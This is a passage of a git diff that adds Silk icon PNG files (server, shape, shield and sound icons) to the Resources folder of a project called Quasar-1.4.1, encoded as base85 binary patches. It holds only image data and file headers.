0000000000000000000000000000000000000000..ecd517425f0cf0a573f091656a0c69e294b6197f GIT binary patch literal 746 zcmVR5;6} zlS@n!Q51&%dDs?eX$!L{YO$aaAT^% z8wrtxVNvT!(-=&NwM9+Zn#dzTR2m+|($3p^r?x7Vm6P0@nLFqI&VSCGVRT)`|6Kge zjaV!eR1{@UmSvtqkZ3GPl4zXp`~BxC0uqUYod_N{91g$PTn&+kplLAt5tmM<1L1J! zEP47D5Rb=CQn4Ti`>a+g<`U7ws?&F_ zfzvp|MzQqNH!H3#j~%}BVf-%##aZb_G6l4GJB;cj7tG=`j&}>Nw_Z7xnHjztyK`i@ z<3{><*+B_lKuBdOqW7yc^Z1f_jE;l*VQ=n3ZZU*Cw&q%gTbv4AZ5(1tfU;QqJva(_ zn7WS!r2xBk0P6N9ScH1;)qty~y}GH@J!&|h!zq1{)G}>Brx3Dtt?nj-%`oKk1+ZKO z44Z?gCIb|<@nc2g$}P}S;5e?>w@Rn3!6Yu>fc6sRS^`$SgVipF07*qoM6N<$f~LGuF8}}l literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_lightning.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_lightning.png new file mode 100755 index 0000000000000000000000000000000000000000..b0f4e46cdfab24395e96c434d7e4f81f666f93e8 GIT binary patch literal 729 zcmV;~0w(>5P)WDY2I?wA+J)g@swh z*tq9;Az~0KxUTE-L+yVFGMP*>3GNw&aV-*w!yyrbfO<`uM8d%Q{PVvFikbca$;C7w zD0sNBg*UbZv_J@}9F7}CA$k)Y3U9HIWm#<@P#1rB)IBUb)@c`W zV~ft{yH{`1uq+F@t|JpA}c-%zc%xMO9#00000 LNkvXXu0mjfaz;V& literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_link.png new file mode 100755 index 0000000000000000000000000000000000000000..e8821dfd88a4a178df1581e12832925c401a78c5 GIT binary patch literal 706 zcmV;z0zLhSP)?mgenukSf$Ow%;{&(Qz*V`F0@b#ij@ zxZm&VX$7rf9v>g``Z^Q}JsL?+C={#&cxkiQLb7}jJpw^hA^ed`yWNI#dL>L>e-q^M z`Fjj@I2>0@CKGnPR>A73szKFMBGRA`S+Ca{9f68h+-|q{(d{0gPvFmm91*Ce^UmFA z5o06)XEYcLXt&z~WkrF1>Y7m3eyMY_&vn4e3W2zY4~4B4@}Fo`ggWoJX72yn!Jt=~ zC}x7Gz;&TMbfKNo1KrTUkU)^IvNFituckW41Kdc8hGB^|5P zDhq;WG2$IrNz43AeK;CB`x^az|5dNo zn+^tpmuW~wqY?Fb9i>u9WcPSHn3$O0UhR>XE|bZ8|Bb-s^GTFBK#I#m;3Sa5N8M~T opRypm6;{4LkrnDigB(5h2_j2`gUi>R_y7O^07*qoM6N<$f)SrU?*IS* literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_uncompressed.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/server_uncompressed.png new file mode 100755 index 0000000000000000000000000000000000000000..86e8325b9cf7938320d26317b1a59ddc23cd6892 GIT binary patch literal 669 zcmV;O0%HA%P)o zmTnjo#N%;{$781#wOUO^qtRcCC%e)iaFWe6kO?$RK-YEn{eE>9SivT7xryr@aC7Y2 z$c~ladYiP^Pq3RR&C`<0Ux?tE>+nwIoYzoN(EPEW%eEu*a|dK@V-c z5D36?QKuUy998{(pX_K5LZ~&x3q&AivzY>DnM@|$Y&IVki^Y@U<9E>A0yl45$Ngjq zpX#4+cGkw}={MBtb^M^=^?Kiu3X_y63F7=~%;)ndI($L%zDLhi_oR#=SOyS-!hh=FNvz5*&gc}4bkUS$- zpueTJs?jS>W4VH5cvDBnk}bYn&!Q$gHPEkM{Aeg6CFgw8)S-s+lpfn7J^^Wlx#}xw U_BgG30kodM)78&qol`;+07=(QkN^Mx literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_bottom.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_bottom.png new file mode 100755 index 0000000000000000000000000000000000000000..55d2694008bf2e0f60ce19ee9a2bbd8a786a2b81 GIT binary patch literal 398 zcmV;90df9`P)DFExf{Zw)P^3DA)+Tx7p16zeV2eBJN`sG!O!r z%r{>qq_fRm#^J65xA(7`3Wk)qxjOIm1^`@~9w8eEp5GTgVh8&GR>?|J)7!6b_t4vb z5)9aIeRjRw+BgJn%>h#W0y-C@uGM%f6pBvD)Skg0XTAk-QuyBUn< zN;P$?E+2m3@;x^jxVzMBC#}&PhY07*qoM6N<$g6GqtMgRZ+ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_center.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_center.png new file mode 100755 index 0000000000000000000000000000000000000000..efe9a98e5fa3c6ad11072c7d5383c10d7e4bd988 GIT binary patch literal 384 zcmV-`0e}99P)Z6yAF1om>|ST ztKHFR-u%C_TS&rR#$xWUuInG^#ZbZh<7OKK0Sbr!oPg)`=K8c40#>`ki?apTCliRg zlEUj-Ocaa&0ziHzlBp`G6i@TVfL<<@Bqx|guvvfy(7bc&my!0N1m(V4lyq=bRi(Le zNvR9#hi1|)cfp-7Ct3?wOSDEz&|1=(k-c%ksD` e{M&ClW_$rjx>)p&(flj`0000i08P^j52wc?^pz~| z{+5E5H{Y(Hu4@1Skd}#3sVYT@{hJmRi$#&$%TyG}1r}?t9|7htd)Lsfy!ajkDt-Z6 zU91o2&s&(!=K$Q?&o&L4`Lx!Vx>#S23&w$uyhfU-d$K`9~Nd8w!zv$M9@Z1$jp29TFj3j_=8Fw z3{%YI%$@t@b+*~1_I?xG+&ypHkT%yBC*7X`0H;U$*kGH-*D~zj_WsiblwiPy%d>+H zKsFLsCaZ=4DL6hHA;5x{_a@9VN{~#-l-L5WA>DQvR=Nn0X;LB+>N1A`ku;k2zxK4npfSnM_=ZsUd2J2vMpSkH_8s%x1H0<)AI26!ZDKD6N!6J>@l|AVmlDp4k6{s%-F`BPf$oC&{AN@ zdiEsm`7?=OX84O0rxL5G3YAyiA3W{4u_Yt`k_-{ROY9Tg-K@O0-jDvtW z{2*|9y*9tOg^9q!_Q>;57`(LL1f6BD4#7DRBzU~PGId=~JGk7O1tj^fbWx*#*Ac{h z0ba=a=eWF?0CQRvsw;s58J%Ft^?dlC`7PvXK46MN^%$di5+|bh4y+|Oy!L_^s_LB1 v#`bl7E&d^!7k=P_NG200000NkvXXu0mjf?~}0h literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_top.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_top.png new file mode 100755 index 0000000000000000000000000000000000000000..1181b43fb258e3e524f8b297c4d301bc51e1fafb GIT binary patch literal 406 zcmV;H0crk;P)iXZHXLga@5kw1` zhA#fE*Hzt}ZT=Fw0JGW5r4;(UXSrOmSS&VH-}kG0DTVob-T`#~LI7}cx3B>v7_i~u zbicd4eO^~Eq|DX%akpWRf}?{S1X%F$u9fcOa1Yr?@c6piPGCd2?K0H0ekE3#NN+c& z3DVjib38X$K{A;l%7lRi0_i(Jt)iw-nkrGE{!GvejIudIh+13qOivS3wMNQr1j7|R z!z+qRQ^v%`6jG$Rbq_omBvC~U6cJMdhNrhAhlz~uD@szMRj)D;69kuM2i>-pR>H(k zU20R=YA_WM*~Hm;Bk6Yr_0!xxd~68E`15D_0t@>jBdvxMApigX07*qoM6N<$g1oz_ AhyVZp literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_flip_horizontal.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_flip_horizontal.png new file mode 100755 index 0000000000000000000000000000000000000000..8667c81f8b2ae38922a801bf8ad50ae8cfa7e7fb GIT binary patch literal 403 zcmV;E0c`$>P)+Q9Q4|H>Gx;$-G!ZQV78ZfoO&~77*3Nn$jc&kZKoCTmAc8K!LP4<=!NN2tOlc{Z zN$xqL$HGYbLH113OaYT)W33X5N`C}SuCsO{M4d)0!W1Bd zPzF|)%AK8~r}nqN@l_U#p4Mv-asy1$8wsx&u~-Jolx`n9hA#o5C(U{(u9g9#gDRe2 z!e}g*5zR(5HY)i99A1uEM(-{!M3@w(Q`3nM*_asR0^}go-P*tZD6~=(l~M=~!wKks x1gKbXqcC{MAPSU2?m_Ytz$O4h|MV~XCU1V{%3*(8NnQXpYiVPVoA5~c|!VPFV?AVO1l*q#wuVDF}{5Y`EMTa_P#5+JM* z7NrLtc5{G@^7nWG`CDHlY@FTuu<8=_lZ5psk-QoqP`Hx{VV$sN)+C(P0F{PBnQyZy zv3A)TEIq7N~!NGFz151St77tx49JDc?6PU}s zU^eqSJON>auuj<9wLVdFzOaAY#g6%o^o5I=?bdiJ&{?IkkvMg+S?VBl{)W}#Hm1{! za5rFVjj=`i=oRt2z*MRp{)mjN&{-$!O(tv6TOh1XtXGZyt1-&_0(6x6mpf9k1poj5 M07*qoM6N<$f}NJIe*gdg literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_group.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_group.png new file mode 100755 index 0000000000000000000000000000000000000000..bb2ff516d35dc9a92ed6ffdc79595d61513e65e3 GIT binary patch literal 553 zcmV+^0@nSBP)+TVU5_x7IrE&y4G<6LW)%R0m7z{{Dic2rZN9Q$X1&!1i?xJlHEd! zMb<)AaLd@37v7sQ$Kt*h-|9m$FwES`%*UCz+-Nu)o=e)5bUGLe9$*XW_xtbCG~Fk8 zS^==z>2yHy9=5bNj`w@L9^yE@UnO}mnM@vCy?#47TC5}hP9TpCzy*-N^X9b(0M_gE z+tFzB%*@_Lk^lflio(4eCs(C^W#d$;S65tM)myfdnARS}?B&nAG1Y9f~bPvTYI2|OiyFW_ORR02sPxSI|DVlF2 z(;aRKd!WOt1W+_H!3vT$JIHb~{vVJggjsddXjHaLhZC0-bi3U}k|cX1kEhe=697of zarXTeQU_=bBVa~2!_$6z^8&YCf03D;q1|q4Hk+y0Y)TTg@kXPe@p!CSt){5eY8@v@ r@|fhwd_LdX<~P>s_0MMZkmR@D2_>Rn5)Y(r00000NkvXXu0mjf$qDH! literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_handles.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_handles.png new file mode 100755 index 0000000000000000000000000000000000000000..ce27fe3a0345e03e919b54ca3b6a8498743b2ee9 GIT binary patch literal 538 zcmV+#0_FXQP)Tm(Vb6n04%0-0d~Z?N5N>2x}bMx$D(zp$faLbcIm6))=iDcNsK{XO_NUIz9_#=Hl90fplE_S$iRDekpz|Us6%gcl z10>7>u(;bXN$%}9L;!i)H44lO83AA=upo5q1c5U!FDx|env1*bl?cq~cLH;UH^p~Rgca1Ok;(*H5ZUXcXOPFe6C@8ghq04j{~AV5iYe^SBjqm*l4!TaGj6|yQS zl0>W3O7lFgJbe6&SDlNa#1ExQ;_~7(-;>XH?~^Rc>h}P$EUWbUeQtj&SzNDKTyL1C zYZj|t%+odV)rMrXCP_Cezg;mNk8#e`cJr5LHk)4>jfPdL)hmSs`qPQy_Y4;U;qFB literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_move_back.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_move_back.png new file mode 100755 index 0000000000000000000000000000000000000000..a216ffd36c85ef8502b8d3e5255994d19c1b4837 GIT binary patch literal 395 zcmV;60d)R}P)v z+whYUbTtD=;_3AxvLR>j@_3VuCP*of(#dy15?2>z*unc(K3-w5STtU}9or^nBL$nP zxpFy~Ob*vRzkSE`)Q^SnzOP?8cAX z*{yXuWVu|%K5qiHBIoijdLMx`0Gq8@eE#4JzB}(FuvGu=x~*2L7>~yXKwBe&!GPIp pM$x6Pz5*+|0DT4aFQAXWegS3uME2I#<|+UH002ovPDHLkV1fcsq%;5k literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_move_backwards.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_move_backwards.png new file mode 100755 index 0000000000000000000000000000000000000000..ee3f9b27ac50d9fb560d7f136c2fd1453150ced1 GIT binary patch literal 358 zcmV-s0h#`ZP)@HXh(hEF306Q6`_2r7V>{$iQE;V^UUSdf-&-W% zFVXPFSOUDheNAO3Ap!*~BL^v1P$gcT9~Tz@fQS1#lHfobY>>=6C zi9qrIaOiv80Eju^%ymq*LRD@6%9O6VT0sWebQSjdeQaZ!^?JQn0#tc+J9C}h2K8dK zdLjwi?RKu9YJgmG9ow-(2_(@p4Yp@M*9&QR)zvye66AS^l4d|(=KbTFI`%&d)zki! z5Ssww<&G7Qj|*2z{Lom8f6?>>PIkVv)K%QjRejY(R}`*(6?jp z+G0hH3!I310<6fv$?bSN`g*+{AesWUTCLdc_mtNN%K=-W6PTYtZaH8HvZa6i6&L{P dpY=4B#2-g@ai@NbQ3?P6002ovPDHLkV1iK7x%~hD literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_rotate_anticlockwise.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_rotate_anticlockwise.png new file mode 100755 index 0000000000000000000000000000000000000000..07a30206c2d913e9de72e7befe0ff34b975a5c6f GIT binary patch literal 657 zcmV;C0&e|@P)rBSW%1yym%3h>P=CJq=%jqJXyqou@YzvD3*eP)k}mbY7q~i z;GrTBD_SU06%3(@S_Ny;^o!gT-@Q5A7Ab}S?LJP1C4Qi#inM2z{qs&8>j3owfJ*pv4@YF`X*Nd zoPBZf^2Q4Pg&j3PkhTPa8BqA~9rA@d43Bk^1zzLD(JL6%Cs6^Vii=lQt}>0Fzr#L1)~3>`~-s=Ycgt!=LtG$^Cf#hW&f@ZE-58uB`z^`Jq1m z(fhf8v{eiNr8U#A8ZkNcsx5s5ONOVt&(3isK%k_Mhruzis7O~P+0iqmPT%^XoO#b6 zOQHe`WByjjgGg64w64+}E+hEwe^(H;6?}e>W|z8COkcK<&fLwQaWd|~nPJHi0Fz;- zkLbQC(k`U>c<-eZS`y$G=c_6Ua&CjgY$$qwe#}9tJp{JalHgjMJh|C#CU5l328sX; z&pT%vb`+SHj5{p=05G9&4Z!Up;H@Oij^VL_IC!nsxQcn#H7qxd13foA`)fy(J>Q)U rY-kFh_WZag1nU^vj$tRrYOnK8uN+@bVu@BX00000NkvXXu0mjfmTxVW literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_rotate_clockwise.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_rotate_clockwise.png new file mode 100755 index 0000000000000000000000000000000000000000..b99db7d7017d397c88d3f365d4151c2a2f1cf396 GIT binary patch literal 673 zcmV;S0$%-zP)-MvO4zAah)y8AdgNT;8aNt0Z#``ZBWS5ruW_!~&_5y@A&Mem(ZTgN^o`}~SszU$^ z7RHvh1xFm@)^ph0*nGGCHC}q|R4n_)A1L3n9&>Brm1ReutcF$^i>p}}-y)rv!{S1A zVD9e6YXDL=pXA)%0TJb?rt->iD68*Gzt-&OgQ02V4o<0CmgJKqX#oHth8qSBmxWt82N#=*8fj=+HCx7f zRfTi=WOc-~l=q1x#t%h^h5>6i)zSai1%ODQad<{ISdvuCby_M8I4B7NffW$v^VTwa z!ysl<#Y!62w*3Tvp2*`_<64r0B}rDtLT-7f149B603-l$UI7t7nGgz!h&XxaPUca> zlFVC@M$5qJHo=m>QhqYAV5c9J7%STfOuTb1F0-VZ{jT#**V$+0nYH{Q00000NkvXX Hu0mjfq@H!pQI5+Ti_L0YJ|=5)wx zkF=1qGlSNkDr^3|$ws8mau%VAs!N}G7ur`j3{a)&lwiJCaRceu$939gbwXgD!G7W+ z`tnW&{YVf#zprcNBv=w4wLNbW#_u=%`)~XMSM_D9ZJ#Vp00000NkvXXu0mjfl(La4 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_add.png new file mode 100755 index 0000000000000000000000000000000000000000..31edfce597565363903c26264756f3c81ec47a9b GIT binary patch literal 539 zcmV+$0_6RPP) zY*Mj<2s&tEg;ElO(UR|;EE2 zmXINo=@2a3IhPCp07@s1V2lL@EF*&lAQF82)gDa{Hg;|h*v8J&*;~c&MS43 zq~ic-3K8n{ABI4)^_J$J_x#;!&}#2->rws5>!%xweLw^e6Zxy>MrU8S(^#cAS)+38 zI#Z{ndAGSj?bFsmxmr3==qE4{Mkz!%`;`!Bn5~@^u3VfY3c>8z3XyauU!DWF-v@*V znN-fTh{%%cwzfH(9OL$-2LL?0`GO0lX8?)=Zy-K@Z}&P&!eIpL{%){YUuUDf#(d=^ zOKEE2mXIOT z>O*kn@_5z<062PJ1Y;~PU>OFh(i2W?ykPpuRrXGu zX8S{(Pp=p6E}q@9Rq8r05k?6j+`3AL6lUMMN1Qx!kkz9_x58Sax;000000NkvXXu0mjf^cC)W literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..d28dc6b1a4420e67d2ad201e77fa6ffdff47b0f0 GIT binary patch literal 660 zcmV;F0&D$=P)-HHgciWXH=58>$m+)aUP_=fNurq~c9Jfr+{g4OA6VysNJCVr!>1 zyO(ukr-@eVVQOd_eeEr`d;&*7#Zd36d)>ub=%lXvJGs$=On&Pn97vP9zKEPnrBRKfD#EKdHd|_ZeufOm#a)m@NAF&m3;5bVE$Q(zLZS1JKPk-x02D-XgTe_RX z#5m7GmzbE!!E}bj^$Yyl#_Q*HW-gz-5F#kVUOZxW=<7_hAg}KDjh>#B%CwB&uQ)_iwz;@6pmo1X^%*Tz443SFZSDVxCn0000%A_P)#@-A##Iv1?0U0EvQG&ENA(xNS^k7Z^%HE|M4B}V92E{q3W6e{k)ec8 z;2o4;WI_>0-Os((YH*HbdS-6e>@`^r&%5C**ybRog9Dz3o3;H0(ZZPh3fB%jAn_JaCWIV75Lro?O_~d_!D*f|Tp6e0*C-kV z?*}L-D{Vv4e9~_iEKhKBV4Q*Qj-I$i$ODAHzoJZtqFWmbg;x}hm55tU8M-vhNLWB> z=Kx~N%IW-$qTG7H;Mh%QEVKA%j-FDTzWNfw$x5CMzKw$_Lx%n3aYJO)wwz~idx_3>Z)??@^wP9b!U%(SY5BN zy8egc`%5Y#=Q&dRfx}NIBrMHW0ii~f{+89x%o+fGChT%8I(hy(~5wOC)KNbJH(T^wDQj z6eh>aF;li@IYJTxb2IaN*tt&{lQ9Mn%+#O1(s+QB5)=tBa;k8a`Pr*9lQy3_ce(j& zZ))Z7-_`(NhS@}R>kt*Vv+xjeVKRhMYix0G?mDf|;ZyZ(T&)ioIHtj~B{3mdwn-W?A1_W9{4O zPKYe#dY|dhi;9~DH(x(?k0bVL9Kv zQoJ?!=IiU9LENsDeFNaYfYOs(+jL~IBP;zb`)2R_KV%7xht?ds^8f$<07*qoM6N<$ Ef_nG=SpWb4 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_key.png new file mode 100755 index 0000000000000000000000000000000000000000..c34b982a07774e25177206a5910f20507747cf63 GIT binary patch literal 607 zcmV-l0-*hgP)aH&8>vW#0l<-cT^NQb7+`9sfwh^a!rV%AD}k6{<_Z+d3^PaL zj8qL(L;P)85D5`6L)8^-YV9=fMYkH5XqafAs+i&m)KMwv@-q(Y`bjJp1nzfkAy7~; zMAXr=w2G1}O>#QD%8AS!GRMB~b+muDgFpjCT#qf1P$xHXoJ&p9GjJL2M~*~q3QMhJ za}SQ+Z5jjth-kC_c9TBx^q#tkRP*fKpQI*B93C3%4!qKM%RmH?xSP7W-NIFtgFgJy z0?}BJNYtY%QG{BRjpcf*jld9b#cuiuzrdN;1lmY+-oB+ zH-qr@WPOVM;2i^(hOowaBC^iR+ZyIoF@=S>%FU6N^Vv26rLb6agM*6)KXLL(hDLFm zc)W+1k3O%Lu2bA|9s^!HKbsBr?;gy*XK`})bA4shyuvk`etcp5$*uIrc6sst{jy*4 t#SfM8)Y0m1@6YV)>ciVlzfWwJ_ZRVAlCjH(sapU5002ovPDHLkV1kNh85aNm literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_link.png new file mode 100755 index 0000000000000000000000000000000000000000..b885fcc60638e4643d7da2613fd79090aae536d9 GIT binary patch literal 642 zcmV-|0)737P)VHAd+Ld!L2q^VM98w(n1h)wF~45O2p7^VJ*E>2zbFL1)dQ4LX7H*KPh4wz^h zOo>C|P#S_Q?WOh#F>;Z@{myadEwm{cXL^V8K6&4h?+d6ZN0}jxIKi%X^1JcDFsi8f1_4z?)lcJtL=+Ll z>>X0Um`+4g5%G;(E&Y%^BZB}n(pgjx5mfLEvTy7HJ?{{JCm==S^Y}gB;H{F&jVwG-FBPJ>Jp*t72@M3SzY_ZvD7TX)+lb}9j8yl*!ky> z&#yi#l}gVJ0LHMl3(Mc$lO9)Y+`EJ8x}05G@Y&^`V~e(L2TQmShOBjtJPSb z`;;HNT+zVhcLKkQ_Y#Fd;ZIKjW#i`$ z&c(w3oVj?5<LHjPH3 c<+|?G|E;ujN0TKn=Kufz07*qoM6N<$g8H^2*Z=?k literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_ungroup.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_ungroup.png new file mode 100755 index 0000000000000000000000000000000000000000..3a6f369a5048b92bb2f625afecd70f29b32e2233 GIT binary patch literal 666 zcmV;L0%iS)P)4!9)$b<|9tNU+CsbaPrm=%-T&Tq-}~;JVp$fPW~sF0aycD| zJcw2*l?qHIrPJw`rfFUgLbUSveBc-XE>9#9fqK2}f3{*+f&-8)iUMP|+l5#x29-+1 zf1(1;d9zllU2@DV!Q!k<7FoCnWT6h{&Ru{~sRWF%*OLUw$b+Zv4C}1RCJV$7$a^H) z-4}4{>a2320$QWQH_waE`LzS;j2kXry9@Ri*Wio`nHLU+SJ00jVztp|glr=M*)Jxx z_jHIxqwxFZ4y$v9D0AR)a@B&ERc^k`Fu>UNgpz&%tPgLLt51?|a;f8r-<|NEVV3@`Ixv zk00KIFB@-Z_*$qqV4EBaeCWw$v*^bs__%Gr2mK$yfQ_$zp|xee=k*4Z%VnBM|8Rh; zG5CDGRj=18G)-$vo)J`4eW54{$$mxm%4vV+{~xG}o%M|tZ2$lO07*qoM6N<$f@ZNP Aj{pDw literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shield.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shield.png new file mode 100755 index 0000000000000000000000000000000000000000..3cb4e257893adf230db7220c06fb9371360312e7 GIT binary patch literal 702 zcmV;v0zv(WP)CSS=grr57X34Zl(zd#$wMb&<%>`t-B(tkBb(psfna0f6_}Do~^xke$ZPQvRr946H zWWosxshhe2GGhTlX^H4l2T{)>lHM28PjBPv)052H^wfm_GUcM~_VUEV$3cdCKWX1R z!rT&^3rTv;k{#1R&D<>@Px1a?%-hNzH)w3T)o)siWm4p$YE@#8C&=cg43(z=rJn}gKmtpUPjP_< zhQXyc#h?f*t`d2Vd9yzWR3(s7PzH#A7!f0%A|E3em_y#OBXS^bn8gJ3v%wOOhaiEV zN+Bg6K!%U|v5J*O8kij|KR-n{eladP2^TtCnBu~OphnPUSs(4yA3V7-gl0O@~?V*x@CTl&E<2=tI5q@L#DQla@S41 zJh{xk+x)uL-5)Og@e9A})romiTU+;hxI5}I{Y{<6W=--* k<)9^%y{&t@hew?Fzp3k#2;Op=9! zVS%RGgcvtB?=hrnT(^1LdEEQ||L^Y{iyPBKvvKOIPJPa&)A<@z<$uZ3-6v zc~$Gk^h9y;%5Y0+$*))mIb#7qgC5d9!ldIb@VnnpFu9T5$YrK&jTjd|MT^t1mgM-l zi=cwqeuBO>+~TDe5+v>*=`WxH zDB^YD#jY{*;V7u!b$6g5&jH-u$57F%uJu6zFoLAQn4AE$>1<~_P>T~PCNq?*1bT)6 zRzMZRM{R&{ERX^dVAKOmgLqjZYY{8*w}EC2R0Gf)APsmZ9%=*BdZ-GBL9K*F0<0k7 z;S|ik4n)A@g5!gewRjZEqxJiE`ktM{PYJ1^!X4M4$r(0~Gs!nsaL3hQLK85q!MFj& z^?C5w(w-@!VR-|4w(O;LaWzcjP~E<&Q-1(e8=fB+?7UC%eKWb`8*vK8;N%7vcaYn! zlPsKDi*+oum8-EPpl(4uz}^wBtX9efI_@#hai37>HjFzH;|vn-OAs<+SwC+-00&oH zV8)~xfcz1FsheLVGO1*BZ?u`-$W^RA1x2fB&I!kl=p3xE?XyZ9830Hn>o()jVx z+;X+D-*LwrDVp8Lxw|)dqa{Tp^)<_wRk4Towq)Bpeg literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shield_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shield_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..22823a70d9d595c91898132ae06b38d956cd75b8 GIT binary patch literal 768 zcmV+b1ONPqP)_wWDzWofpWZjRwL)Vd8iHwR;&_<&#(aXJ|2rC=4&(@vrY3M%S$@!-jW z=* ztyLco*Wo15n0#0=A?aRByJb2o>G^@3N0CJP%2&wrwamVeY0834$+YqI(Vv}@#Oext*GL@6XYIDnd zAA<~q7WqGC@#Xt*&Xd)?q_FV-8}>d63ap%a4-57fJrO-yE8n*)Uk4fa%1QE-Q&{pR z$N*vK66xX>v@g5`GSbyc$m}P2Jbf|&hC&9GgEOo%g^P0(5)=~DO+kUEP^Q~%?f@E| zJ_Q2_EJGp3MFHr5%W+CU30MjU3jqse^mzJY0vQS!QVxoN1V|An3ONcXl7TrCtU!;a zPr)!tiAsA2Yct?BK$Jn$0hd!dSEGJ*p7v4&H|UYV*vK(n_w>o^{pN3HVEj6TFYk3Y$#xl^Q_CE7r%8FT(3 z3r-UM^~Wc7-lAYHMt;+qH;q)78y|02t5m*iYd7}MJgs_{E6Z`n6TR&u@qf;Lxclai ybx&BVbsWd>_wU(r)Ga$pr#Q!2ut=L3{<%oAf+b{E;+-G}C0%qCSQkM=7lG`eZo2X^ z4eBCEy@)7AgN%7FT@r(le`@L`$DC`&?HtdZ=lA@6-%sb_Tu6{Ny)Onwlls1`t zw)FcKN4tlPVEJu=d0u<&4Wf)_5kpiLXL-K=B^rL2w`R^wXUCEiDQ$fRCf=R>X2((2 z(M5UlL9%d~DC5@O*C{Lzte}VmOL?8`PrgE>k|5 z#7u>;Yon7s@IrM&xs$}d{c+;i4T|Ww|s z5qVmiB>u~lC#5QQ<|d}62BjvZR2H60wE-$x;pyTSqH#X?$9aZk9xk4=gcS_} z%w2~hdwA07|NZ~@|FQilArsd8f6XF{Qw<&ke0ci5`VUv#|NpJ=2j%aCIn+%2WcF59 z%>CW#*}oUPcm3UcP5krW-G`*(r!XhJ>z-n_f{E?eO??G7rnQMK8>51>n=~5O_yZ)GQ;#)>*f=EeOp`n$p2lMq5y8c< Y)sUsE^zP|RKsPgZy85}Sb4q9e02&?&$AnU{`?7#p7{c3v3N<4UoZosf|7i`->(6v zq}kKOF+}2WY~OXECI=qZ&C;S96q43Q9NhNo|NnE|Y1dre9iDk+rpY3!X)|?OCB!OC zc#pWY_y&hupH}dG+JyarF*EfKT{@^UKc&#b?{Z-L@8ub$ZiZj%Sp}}zmsZIc=(KNE zdH0QRn|fkLa^tT!rr&eB&PsiK&ADcp)`TOK8{!_mFDRfPcVFW5d%9V=z{?A#;oriL5xO+n6O2X~nf!lQuE^VWXpgu83qI(qCF{ zS}dqc=wWy-JjhR6YYDxINHb)T^nMSh)vA20R`F7)lzCSCZF94My}d73T>N+m zpyXWPL`#FF;s+j3t(LL2R!6+EP98p9G9EaJe<5S)o@#CPu0JyV*YBbiNC<>y{C`3_2 zFc^fUC0P=`0GC2D0rmxry!i<{eh#|t2UjSV*w|QyY37m5W)KQZKoA6m%^;bK|K7sb zq~^Y!1U(%y>Cs5W^^bz?JUQeR7IK)M&$43OYdMwDJVcVBtSjl_Ar8Hmr2)a$eK-tv zNC4d)(7D`Piq~gVUR7m2k$BH5O6=$i%I6Kpa_sVNy!&j)9UKPT@*VWNNNm+UIUciF wPJ00!a`S;oH}3WS@hUTDnx*^y9@F3E2OYGed{u8eJ^%m!07*qoM6N<$f+a~A3jhEB literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_add.png new file mode 100755 index 0000000000000000000000000000000000000000..965c503c6088f5ca20ae624ae9f9bb8f05490640 GIT binary patch literal 684 zcmV;d0#p5oP){@e)R=6tn`E0`O&UochFZ7FhGdgX0zI@b zfwou(BBezH*PQIpi)fL8z0AQtp}BZyynUTrZBg2SA`X0cGmm+n_nl#e0l@r=nEwVS z77H#}mcINopj0Xj&|*nZiK$9T94|fX&Uf=yW>Jbseo%3z8&JU=68c{18C+IKL-EK<@goWW*KkIou$FceWXN 